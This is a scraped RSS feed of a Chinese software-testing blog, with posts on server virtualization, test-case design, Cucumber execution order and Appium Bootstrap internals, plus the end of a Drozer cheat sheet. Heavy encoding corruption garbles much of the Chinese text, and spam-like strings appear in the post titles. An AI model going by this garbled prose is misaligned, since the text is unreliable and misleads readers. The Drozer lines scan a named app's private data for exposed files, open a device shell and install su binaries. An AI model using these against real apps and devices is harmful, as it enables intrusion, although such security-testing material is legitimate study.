列出指定文g路径里全局可写/可读的文?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.broadcast.send --component 包名 --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"> <strong style="word-break: break-all; line-height: normal !important;"> 8.其它模块</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  shell.start 在设备上开启一个交互shell</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  tools.file.upload / tools.file.download 上传/下蝲文g到设?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  tools.setup.busybox / tools.setup.minimalsu 安装可用的二q制文g</div></div><img src ="//www.lmlez.icu/qileilove/aggbug/423597.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="//www.lmlez.icu/qileilove/" target="_blank">其自然EVO</a> 2015-03-18 22:06 <a href="//www.lmlez.icu/qileilove/archive/2015/03/18/423597.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在服务器虚拟化架构中有哪些技术功能和益处 - 4399ɱol|ɱ佫//www.lmlez.icu/qileilove/archive/2015/03/18/423595.html其自然EVO其自然EVOWed, 18 Mar 2015 14:03:00 GMT//www.lmlez.icu/qileilove/archive/2015/03/18/423595.html//www.lmlez.icu/qileilove/comments/423595.html//www.lmlez.icu/qileilove/archive/2015/03/18/423595.html#Feedback1//www.lmlez.icu/qileilove/comments/commentRss/423595.html//www.lmlez.icu/qileilove/services/trackbacks/423595.html关于服务器虚拟化的概念,业界有不同的定义Q但其核心是一致的Q即它是一U方法,能够在整合多个应用服务的同时Q通过区分应用服务的优先次序将服务器资源分配给最需要它们的工作负蝲来简化管理和提高效率?strong style="word-break: break-all; line-height: normal !important;">其主要功能包括以下四个方面:
  集成整合功能。虚拟化服务器主要是q理服务器和虚拟化E序构成的,通过把一台物理服务器划分为多个虚拟机Q或者把若干个分散的物理服务器虚拟ؓ一个整体逻辑服务器,从而将多个操作pȝ和应用服务整合到强大的虚拟化架构上?/div>
  动态迁Ud能。这里所说的动态迁UM要是指V2V(虚拟机到虚拟机的q移)技术。具体来Ԍ当某一个服务器因故障停机时Q其承蝲的虚拟机可以自动切换到另一台虚拟服务器Q而在整个q程中应用服务不会中断,实现pȝ零宕机在U迁UR?/div>
  资源分配功能。虚拟化架构技术中引入了动态资源调度技术,pȝ所有虚拟服务器作ؓ一个整体资源统一q行理Qƈ按实际需求自动进行动态资源调配,在保证系l稳定运行的前提下,实现资源利用最大化?/div>
  强大的管理控制界面。通过可视化界面实时监控物理服务器以及各虚拟机的运行情况,实现对全部虚拟资源的理、维护及部v{操作?/div>
  服务器虚拟化的益?/strong>
  采用服务器虚拟化技术的益处主要表现在以下几个方面?/strong>
  节省采购费用。通过虚拟化技术对应用服务器进行整合,可以大幅~减企业在采购环节的开支,在硬件环节可以ؓ企业节省34%?0%的采购成本?/div>
  同时Q还可以节省软g采购费用。Y件许可成本是企业不可忽视的重要支出。而随着微Y、红帽等软g巨头的加入,虚拟化架构技术在软g成本上的优势也逐渐得以体现?/div>
  降低pȝq行l护成本。由于虚拟化在整合服务器的同旉用了更ؓ的管理工P减少了管理维护h员在|络、线路、Ygl护斚w的工作量Q信息部门得以从传统的维护管理工作中解放出来Q将更多的时间和_֊用于推动创新工作和业务增长等zdQ这也ؓ企业带来了利益?/div>
  通过虚拟化技术可以减物理服务器的数量,q就意味着企业机房耗电量、散热量的降低,同时qؓ企业节省了空调、机戉K套设备的攚w升U费用?/div>
  提高资源利用率。保障业务系l的快速部|是信息化工作的一w要指标,而传l模式中服务器的采购安装周期较长Q一定程度上限制了系l部|效率。利用虚拟化技术,可以快速搭拟系l^収ͼ大幅~减部v{备旉Q提高工作效率?/div>
  ׃虚拟化服务器h动态资源分配功能,因此当一台虚拟机的应用负载趋于饱和时Q系l会Ҏ之前定义的分配规则自动进行资源调配。根据大部分虚拟化技术厂商提供的数据指标来看Q通过虚拟化整合服务器后,资源q_利用率可以从5%?5%提高?0%?0%?/div>
  提高pȝ的安全性。传l服务器gl护通常需要数天的{备期和数小时的l护H口期。而在虚拟化架构技术环境下Q服务器q移只需要几U钟的时间。由于迁U过E中服务没有中断Q管理员无须甌pȝ停机Q在降低理l护工作量的同时Q提高系l运行连l性?/div>
  目前虚拟化主技术厂商均在其虚拟化^C引入数据快照以及虚拟存储{安全机Ӟ因此在数据安全等U和pȝ容灾能力斚wQ较原有单机q行模式有了较大提高?br />
目前 我司正在应用aws 实很不错,节省成本 服务E_Q比什么阿里云 Z不知道多?/div>

其自然EVO 2015-03-18 22:03 发表评论
]]>阅读《测试用例指南》笔?/title><link>//www.lmlez.icu/qileilove/archive/2015/03/18/423594.html</link><dc:creator>其自然EVO</dc:creator><author>其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:00:00 GMT</pubDate><guid>//www.lmlez.icu/qileilove/archive/2015/03/18/423594.html</guid><wfw:comment>//www.lmlez.icu/qileilove/comments/423594.html</wfw:comment><comments>//www.lmlez.icu/qileilove/archive/2015/03/18/423594.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>//www.lmlez.icu/qileilove/comments/commentRss/423594.html</wfw:commentRss><trackback:ping>//www.lmlez.icu/qileilove/services/trackbacks/423594.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">1.试用例 Q分有基本流和备选流?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">  2.要先定<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;"></strong></u></a><u style="word-break: break-all;"><strong style="word-break: break-all;"><a target="_self" style="word-break: break-all; color: #202859; text-decoration: none;"><u style="word-break: break-all;"><strong style="word-break: break-all;">试</strong></u></a>用例</strong></u>描述Q再在测试用?实施矩阵中确定相应的试用例数据?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">  3.从补充规U中生成试用例</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  Q?Qؓ<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">性能试</strong></u></a>生成试用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  Q?Qؓ安全?讉K控制试生成试用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  关键Q先指定执行用例的主?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  Q?Qؓ配置试生成试用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  主要是ؓ了核实测试目标在不同的配|情况下Q如不同的OSQBrowserQCPU速度{)是否能正??nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>或执行?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  针对W个关键配置Q每个可能有问题的配|都臛_应该有一个测试用例?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  Q?Qؓ安装试生成试用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  a.需要对以下各种安装情况设计试用例Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  分发介质Q如盘QCD-ROM和文件服务器Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  首次安装</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  完全安装</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  自定义安?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  升安装</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  b.试目标应包括所有构件的安装</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  客户机,中间层,服务?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  Q?Qؓ其他非功能性测试生成测试用?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  如操作测试,Ҏ能瓉Q系l容量或试目标的强度承受能力进行调查的试用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  <strong style="word-break: break-all; line-height: normal !important;">4.?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">白盒试</strong></u></a>?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">黑盒试</strong></u></a>的同旉应该q行可靠性测试?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">  5.Z品验收测试生成测试用?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">  6.为回归测试编制测试用?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  a.回归试是比较同一试目标的两个版本或版本Qƈ将差异定为潜在的~陷?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  b.Zɋ试用例发挥回归试和复用的价|同时维护成本减x低,应:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  保试用例只确定关键的数据元素Q创?支持被测试的条g支持的测上试用例Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  保每个试用例都说明或代表一个唯一的输入集或事件序列,其结果是独特的测试目标行?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  消除多余或等效的试用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  具有相同的试目标初始状态和试数据状态的试用例l合在一?/div><img src ="//www.lmlez.icu/qileilove/aggbug/423594.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="//www.lmlez.icu/qileilove/" target="_blank">其自然EVO</a> 2015-03-18 22:00 <a href="//www.lmlez.icu/qileilove/archive/2015/03/18/423594.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>行ؓ驱动开? Cucumber的目录结构和执行q程 - 4399ɱol|ɱ佫//www.lmlez.icu/qileilove/archive/2014/12/28/421891.html其自然EVO其自然EVOSat, 27 Dec 2014 17:29:00 GMT//www.lmlez.icu/qileilove/archive/2014/12/28/421891.html//www.lmlez.icu/qileilove/comments/421891.html//www.lmlez.icu/qileilove/archive/2014/12/28/421891.html#Feedback0//www.lmlez.icu/qileilove/comments/commentRss/421891.html//www.lmlez.icu/qileilove/services/trackbacks/421891.htmlɱԿ:行ؓ驱动开? Cucumber的目录结构和执行q程

      Cucumber是Ruby世界的BDD框架Q开发h员主要与两类文g打交刎ͼFeature文g和相应的Step文g。Feature文g是以feature为后~名的文gQ以Given-When-Then的方式描qCpȝ的场?scenarios)行ؓQStep文g为普通的Ruby文gQFeature文g中的每个Given/When/Then步骤在Step文g中都有对应的Ruby执行代码Q两cL仉过正则表达式相兌。笔者在用Cucumber+Watir做回归测试时对Cucumber工程的目录结构执行过E进行了研究?/p>

安装好Cucumber后,如果在终端直接执行cucumber命oQ得C下输出:

输出l果表明Qcucumber期待当前目录下存在名为features的子目录。徏好features文g夹后Q重新执行cucumber命oQ输出如下:

Cucumberq行成功Q但׃features文g夹下没有M内容Q故得到上述输出l果?/p>

|上大多数关于Cucumber的教E都采用以下目录l构Q所有的文gQ夹Q都位于features文g夹下?/p>

Feature文gQ如test.featureQ直接位于features文g夹下Q可以ؓ每个应用场景创徏一个Feature文gQ与Feature文g对应的Step文gQ如test.rbQ位于step_definitions子文件夹下;同时Q存在support子文件夹Q其下的env.rb文g为环境配|文件。在q样的目录结构条件下执行cucumber命oQ会首先执行env.rb做前期准备工作,比如可以用Watir新徏览器窗口,然后Cucumbertest.rb文gd内存Q最后执行test.feature文gQ当遇到Given/When/Then步骤ӞCucumber在test.rb中搜索是否有相应的stepQ如果有Q则执行相应的Ruby代码?/p>

q样的目录结构只是推荐的目录l构Q笔者通过反复的试验得Z以下l论Q对于Cucumber而言Q除了顶层的features文gҎ强制性的之外Q其它目录结构都不是强制性的QCucumber对features文g夹下的所有内容进行扁q_QflattenQ处理和首字母排序。具体来_Cucumber在运行时Q首先将递归的执行features文g夹下的所有Ruby文g(其中则包括Step文g)Q然后通过相同的方式执行Feature文g。但是,如果features文g夹下存在support子文件夹Qƈ且support下有名ؓenv.rb的文ӞCucumber首先执行该文gQ然后执行support下的其它文gQ再递归执行featues下的其它文g?/p>

比如有如下Cucumber目录l构Q?/p>

Z方便记录Cucumberq行时的文g执行序Q在features文g夹下的所有Ruby文g中加上以下代码:

puts File.basename(__FILE__)

此行代码的作用是在一个Ruby文g执行时输文g的名字,此时执行cucumber命oQ得C下输出(部分Q结果:

上图即ؓRuby文g的执行顺序,可以看出Qsupport文g夹下env.rb文g首先被执行,其次按照字母排序执行c.rb和d.rbQ接下来QCucumberfeatures文g夹下的所用文Ӟ夹)扁^化,q按字母序排序Q从而先执行a.rb和b.rbQ而由于other文gҎ在step_definitions文g夹的前面Q所以先执行other文g夹下的Ruby文gQ也是按字母序执行Q先f.rbQ然后g.rbQ,最后执行step_definitions下的e.rb?/p>

当执行完所有Ruby文g后,Cucumber开始依ơ读取Feature文gQ执行顺序也和前qCP? a.feature --> b.feature --> c.feature

W者还发现Q这些Ruby文g甚至可以位于features文g夹之外的M地方Q只是需要在位于features文g夹之内的Ruby文g中require一下,比如在env.rb中?/p>



其自然EVO 2014-12-28 01:29 发表评论
]]>
Appium Android Bootstrap之控件AndroidElement - 4399ɱol|ɱ佫//www.lmlez.icu/qileilove/archive/2014/12/23/421669.html其自然EVO其自然EVOMon, 22 Dec 2014 16:26:00 GMT//www.lmlez.icu/qileilove/archive/2014/12/23/421669.html//www.lmlez.icu/qileilove/comments/421669.html//www.lmlez.icu/qileilove/archive/2014/12/23/421669.html#Feedback0//www.lmlez.icu/qileilove/comments/commentRss/421669.html//www.lmlez.icu/qileilove/services/trackbacks/421669.htmlAndroidElementHash的这个getElement命o要做的事情就是针对这两点来根据不同情况获得目标控?/div>
/**
* Return an elements child given the key (context id), or uses the selector
* to get the element.
*
* @param sel
* @param key
*          Element id.
* @return {@link AndroidElement}
* @throws ElementNotFoundException
*/
public AndroidElement getElement(final UiSelector sel, final String key)
throws ElementNotFoundException {
AndroidElement baseEl;
baseEl = elements.get(key);
UiObject el;
if (baseEl == null) {
el = new UiObject(sel);
} else {
try {
el = baseEl.getChild(sel);
} catch (final UiObjectNotFoundException e) {
throw new ElementNotFoundException();
}
}
if (el.exists()) {
return addElement(el);
} else {
throw new ElementNotFoundException();
}
}
  如果是第1U情况就直接通过选择子构建UiObject对象Q然后通过addElement把UiObject对象转换成AndroidElement对象保存到控件哈希表
  如果是第2U情况就先根据appium传过来的控g哈希表键D得父控gQ再通过子控件的选择子在父控件的基础上查扑ֈ目标UiObject控gQ最后跟上面一h该控仉过上面的addElement把UiObject控g转换成AndroidElement控g对象保存到控件哈希表
  4. 求证
  上面有提q,如果pc端的脚本执行对同一个控件的两次findElement会创Z个不同id的AndroidElementq存攑ֈ控g哈希表中Q那么ؓ什么appium的团队没有做一个增强,增加一个keyMap的方法(法Q和一些额外的信息来让同一个控件用不同的key的时候对应的q是同一个AndroidElement控g呢?毕竟q才是哈希表实用的特性之一了,不然你直接用一个Dictionary不就完事了?|上说了几点hashtable和dictionary的差别,如多U程环境最好用哈希表而非字典{,但在bootstrapq个控g哈希表的情况下我不是很信服这些说法,有谁清楚的还劳烦指点一二了
  q里至于Z么appium不去提供额外的key信息q且实现keyMap法Q我个h倒是认ؓ有如下原因:
  有谁q么无聊在同一个测试方法中对同一个控件查找两ơ?
  如果同一个控件运用不同的选择子查找两ơ的话,因ؓ最l底层的UiObject的成员变量UiSelector mSelector不一P所以确实可以认为是不同的控?/div>
  但以下两个如果用同样的UiSelector选择子来查找控g的情冉|p析不了了Q毕竟在我看来bootstrapq边应该把它们看成是同一个对象的Q?/div>
  同一个脚本不同的Ҏ中分别对同一控g用同LUiSelelctor选择子进行查扑֑Q?/div>
  不同脚本中呢Q?/div>
  q些也许在今后深入了解中得到解决Q但看家如果知道的,q望不吝赐教
  5. 结
  最后我们对bootstrap的控件相关知识点做一个ȝ
  AndroidElement的一个实例代表了一个bootstrap的控?/div>
  AndroidElement控g的成员变量UiObject el代表了uiautomator框架中的一个真实窗口控Ӟ通过它就可以直接透过uiautomator框架Ҏ件进行实质性操?/div>
  pc端的WebElement元素和Bootstrap的AndroidElement控g是通过AndroidElement控g的String idq行映射兌?/div>
  AndroidElementHashcȝ护了一个以AndroidElement的id为键|以AndroidElement的实例ؓvalue的全局唯一哈希表,pc端想要获得一个控件的时候会先从q个哈希表查找,如果没有了再创徏新的AndroidElement控gq加入到该哈希表中,所以该哈希表中l护的是一个当前已l用过的控?/div>
相关文章Q?/div>
Appium Android Bootstrap源码分析之简?/div>
 通过上一?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">文章?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">Appium Android Bootstrap源码分析之简介》我们对bootstrap的定义以及其在appium和uiautomator处于一个什么样的位|有了一个初步的了解Q那么按照正常的写书的思\Q下一个章节应该就要去看bootstrap是如何徏立socket来获取数据然后怎样q行处理的了。但本h觉得q样子做q不会太好,因ؓ到时整篇文章会变得非常的冗长Q因Z在编写的q程中碰C认识的类又要跛_q去q行说明分析。这里我觉得应该试吸取著名的《重构》这本书的徏议:一个方法的代码不要写得太长Q不然可L会很差Q尽量把其分解成不同的函数。那我们q里是用类似的思想Q不要尝试在一个文章中把所有的事情都做完,而是试先把关键的类l描q清楚,最后才Lq些c通过一个实例分析给串v来呈现给读者,q样大家׃会因Z个文章太长媄响可L而放弃往?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">学习了?/div>
  那么我们q里Z么先说bootstrapҎ件的处理Q而非刚才提到的socket相关的socket服务器的建立呢?我是q样子看待的Q大家看到本文章的时候,很有可能之前已经了解q本人针对uiautomator源码分析那个pd的文章了Q或者已l有uiautomator的相关知识,所以脑袋里会比较迫切的想知道究竟appium是怎么q用了uiautomator的,那么在appium中于q个问题最贴切的就是appium在服务器端是怎么使用了uiautomator的控件的?/div>
  q里我们主要会分析两个类Q?/strong>
  AndroidElement:代表了bootstrap持有的一个ui界面的控件的c,它拥有一个UiObject成员对象和一个代表其在下面的哈希表的键值的Stringcd成员变量id
  AndroidElementsHash:持有了一个包含所有bootstrapQ也是appiumQ曾l见到过的(也就是脚本代码中findElementҎ扑ֈq的Q控件的哈希表,它的key是AndroidElement中的idQ每当appium通过findElement扑ֈ一个新控gq个id׃Q?QAppium的pc端和bootstrap端都会持有这个控件的id键|当需要调用一个控件的Ҏ时就需要把代表q个控g的id键gq来让bootstrap可以从这个哈希表扑ֈ对应的控?/div>
  1. AndroidElement和UiObject的组合关p?/strong>
  从上面的描述我们可以知道QAndroidElementq个c里面拥有一个UiObjectq个变量Q?/div>
  public class AndroidElement {
  private final UiObject el;
  private String         id;
  ...
  }
  大家都知道UiObject其实是UiAutomator里面代表一个控件的c,通过它就能够Ҏ件进行操作(当然最l还是通过UiAutomation框架). AnroidElement是通过它来跟UiAutomator发生关系的。我们可以看C面的AndroidElement的点击clickҎ其实是很干脆的调用了UiObject的clickҎQ?/div>
  public boolean click() throws UiObjectNotFoundException {
  return el.click();
  }
  当然q里除了clickq有很多控g相关的操作,比如dragTo,getText,longClick{,但无一例外Q都是通过UiObject来实现的Q这里就不一一列D了?/div>
  2. 脚本的WebElement和Bootstrap的AndroidElement的映关p?/strong>
  我们在脚本上Ҏ件的认识是一个WebElement:
  WebElement addNote =  driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
  而在Bootstrap中一个对象就是一个AndroidElement. 那么它们是怎么映射CL呢?我们其实可以先看如下的代码:
  WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
  addNote.getText();
  addNote.click();
  做的事情是获得Notesq个app的菜单,然后调用控g的getText来获?#8216;Add note'控g的文本信息,以及通过控g的clickҎ来点击该控g。那么我们看下调试信息是怎样的:

pc端传q来的json字串有几个fieldsQ?/div>
  cmd:代表q个是什么命令类型,其实是AndroidCommandType的那两个?/div>
  package io.appium.android.bootstrap;
  /**
  * Enumeration for all the command types.
  *
  */
  public enum AndroidCommandType {
  ACTION, SHUTDOWN
  }
  action: 具体命o
  params: 提供的参敎ͼq里提供了一个elementId的键值对
  从上面的两条调试信息看来Q其实没有明昄看到I竟使用的是哪个控g。其实这里不L的elementId是定用的是哪个控件的Q注意这个elementIdq不是一个控件在界面上的资源idQ它其实是Bootstrapl护的一个保存所有已l获取过的控件的哈希表的键倹{如上一节看到的,每一个AndroidElement都有两个重要的成员变量:
  UiObject el Quiautomator框架中代表了一个真实的H口控g
  Sting id :  一个唯一的自动增加的字串cd整数Qpc端就是通过它来在AndroidElementHashq个cM扑ֈ惌的控件的
  3. AndroidElement控g哈希?/strong>
  上一节我们说到appium pc端是通过id把WebElement和目标机器端的AndroidElement映射h的,那么我们q一节就来看下维护AndroidElement的这个哈希表是怎么实现的?/div>
  首先Q它拥有两个成员变量Q?/div>
  private final Hashtable<String, AndroidElement> elements;
  private       Integer                           counter;
  elements Q一个以AndroidElement 的id的字串类型ؓkeyQ以AndroidElement的实例ؓvalue的的哈希?/div>
  counter : 一个整型变量,有两个作用:其一是它代表了当前已l用到的控g的数目(其实也不完全是,你在脚本中对同一个控件调用两ơfindElement其实会生两个不同id的AndroidElement控gQ,其二是它代表了一个新用到的控件的idQ而这个id是上面的elements哈希表的?/div>
  q个哈希表的键值都是从0开始的Q请看它的构造函敎ͼ
  /**
  * Constructor
  */
  public AndroidElementsHash() {
  counter = 0;
  elements = new Hashtable<String, AndroidElement>();
  }
  而它在整个Bootstrap中是有且只有一个实例的Q且看它的单例模式实玎ͼ
  public static AndroidElementsHash getInstance() {
  if (AndroidElementsHash.instance == null) {
  AndroidElementsHash.instance = new AndroidElementsHash();
  }
  return AndroidElementsHash.instance;
  }
  以下增加一个控件的ҎaddElement充分描述了ؓ什么说counter是一个自增加的keyQ且是每个新发现的AndroidElement控g的idQ?/div>
  public AndroidElement addElement(final UiObject element) {
  counter++;
  final String key = counter.toString();
  final AndroidElement el = new AndroidElement(key, element);
  elements.put(key, el);
  return el;
  }
  从Appium发过来的控g查找命o大方向上分两c:
  1. 直接ZAppium Driver来查找,q种情况下appium发过来的json命o是不包含控g哈希表的键g息的
  WebElement addNote = driver.findElement(By.name("Add note"));
  2. Z父控件查找:
  WebElement el = driver.findElement(By.className("android.widget.ListView")).findElement(By.name("Note1"));
  以上的脚本会先尝试找到Note1q个日记的父控gListView,q把q个控g保存到控件哈希表Q然后再Ҏ父控件的哈希表键g及子控g的选择子找到想要的Note1:


其自然EVO 2014-12-23 00:26 发表评论
]]>Appium Android Bootstrap源码分析之命令解析执?/title><link>//www.lmlez.icu/qileilove/archive/2014/12/23/421668.html</link><dc:creator>其自然EVO</dc:creator><author>其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:25:00 GMT</pubDate><guid>//www.lmlez.icu/qileilove/archive/2014/12/23/421668.html</guid><wfw:comment>//www.lmlez.icu/qileilove/comments/421668.html</wfw:comment><comments>//www.lmlez.icu/qileilove/archive/2014/12/23/421668.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>//www.lmlez.icu/qileilove/comments/commentRss/421668.html</wfw:commentRss><trackback:ping>//www.lmlez.icu/qileilove/services/trackbacks/421668.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">通过上一?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Appium</strong></u></a> <a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a> <a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Bootstrap</strong></u></a>源码分析之控件AndroidElement》我们知道了Appium从pc端发送过来的命o如果是控件相关的话,最l目标控件在bootstrap中是以AndroidElement对象的方式呈现出来的Qƈ且该控g对象会在AndroidElementHashl护的控件哈希表中保存v来。但是appium触发一个命令除了需要提供是否与控g相关q个信息外,q需要其他的一些信息,比如Q这个是什么命令?q个是我们q篇文章需要讨论的话题了?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  下面我们q是先看一下从pc端发q来的json的格式是怎么LQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="//www.51testing.com/attachments/2014/12/14982672_201412110911451TEnd.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  可以看到里面除了params指定的是哪一个控件之外,q指定了另外两个信息Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  cmd: q是一个actionq是一个shutdown</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  actionQ如果是一个action的话Q那么是什么action</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  开始前我们先简要描qC我们需要涉及到几个关键c:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><font color="#202859"><span style="line-height: normal !important;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img 